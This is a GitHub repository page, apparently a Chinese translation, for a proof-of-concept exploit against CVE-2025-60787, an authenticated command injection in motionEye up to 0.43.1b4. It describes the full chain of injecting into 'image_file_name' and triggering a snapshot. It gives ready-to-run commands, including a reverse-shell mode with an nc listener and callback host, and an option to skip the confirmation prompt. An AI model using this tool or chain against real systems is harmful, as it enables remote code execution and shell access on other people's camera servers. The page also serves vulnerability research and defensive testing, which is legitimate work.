ozcanpng/CVE-2025-60787

GitHub: ozcanpng/CVE-2025-60787

针对 motionEye 认证后命令注入漏洞(CVE-2025-60787)的 RCE PoC 利用工具,复现了通过摄像头配置注入实现远程命令执行的完整攻击链。

Stars: 0 | Forks: 0

# CVE-2025-60787 — motionEye 认证后 RCE 针对 CVE-2025-60787 的认证后命令注入 PoC。motionEye `v0.43.1b4` 及更早版本将用户可控的摄像头配置值(例如 `image_file_name`)写入 Motion 配置时缺乏充分的过滤,导致该值被处理时能够执行命令。 ## 功能说明 ``` Signed API request -> camera config update -> image_file_name injection -> snapshot trigger -> command execution ``` 1. 验证目标并检测 motionEye。 2. 使用配置的用户名和密码哈希生成签名的 motionEye API 请求。 3. 通过 `/config/list/` 读取摄像头配置。 4. 将命令注入到摄像头的 `image_file_name` 设置中。 5. 在需要时启用静态图像/手动快照。 6. 触发 `/action//snapshot/`,以便 motionEye 处理被注入的文件名。 7. 可选地恢复原始的摄像头配置。 ## 截图 ### 反向 shell 设置 ![反向 shell 设置](https://static.pigsec.cn/wp-content/uploads/repos/cas/cc/cc24d5d01d94d26a9ac0a757a0c95ec356051ef3965d23b15e247ebf0d598c36.png) ### 配置注入与触发 ![配置注入与触发](https://static.pigsec.cn/wp-content/uploads/repos/cas/db/dbcadf8e08b46a93afcf75526c1013ff199f8614c674e78b7866fea250335e87.png) ### 接收到的 shell ![接收到的 shell](https://static.pigsec.cn/wp-content/uploads/repos/cas/f2/f2de05cf82875879ea850dc75ef0cfadaa37c9f454247d533654eb68b83996ce.png) ## 环境配置 ``` git clone https://github.com/ozcanpng/CVE-2025-60787.git cd CVE-2025-60787 pip install -r requirements.txt ``` ## 使用方法 ### 安全命令验证 ``` python3 CVE-2025-60787.py \ --target http://127.0.0.1:8765 \ --user admin \ --password-hash HASH \ --cmd 'id > /tmp/motioneye_rce' ``` ### 反向 shell 首先启动一个监听器: ``` rlwrap nc -lvnp 4444 ``` 然后运行: ``` python3 CVE-2025-60787.py \ --target http://127.0.0.1:8765 \ --port 8765 \ --user admin \ --password-hash HASH \ --reverse-shell \ --lhost 10.10.16.53 \ --lport 4444 ``` 常用选项: ``` --camera-id N Camera ID to modify (default: 1) --restore Restore the original camera configuration after triggering --dry-run Build signed requests without modifying the target --debug Print canonical signed paths, bodies and signatures --no-trigger Update config without triggering a snapshot --verify-tls Verify HTTPS certificates --yes Skip reverse-shell confirmation prompt ``` ## 受影响情况 | 产品 | 受影响版本 | 所需权限 | 影响 | |---------|------------------|-----------------|--------| | motionEye | `<= 0.43.1b4` | 认证后的管理员/API 访问权限 | 以 motionEye/Motion 进程用户的身份执行 OS 命令 | 最终获得的权限取决于 motionEye 的部署方式。在以 root 用户身份运行服务的容器或实验镜像中,命令执行可能会直接获得 root 权限。 ## 注意事项 - 该 PoC 需要提供已存储的 motionEye 密码值/哈希,因为该值被用作旧版 API 请求的签名密钥。 - 被注入的字段是 `image_file_name`。 - 在测试期间,请使用 `--restore` 在利用完成后将摄像头配置恢复原状。 - 在尝试反向 shell 之前,建议先使用 `--cmd` 进行安全验证。 ## 参考 - [NVD — CVE-2025-60787](https://nvd.nist.gov/vuln/detail/CVE-2025-60787) - [GitHub Security Advisory — GHSA-j945-qm58-4gjx](https://github.com/motioneye-project/motioneye/security/advisories/GHSA-j945-qm58-4gjx) - [motionEye 项目](https://github.com/motioneye-project/motioneye) ## 作者 ozcanpng — [github.com/ozcanpng](https://github.com/ozcanpng) — [ozcanpng.dev](https://ozcanpng.dev)
标签:CISA项目, PoC, Python, 安全, 无后门, 暴力破解, 超时处理, 逆向工具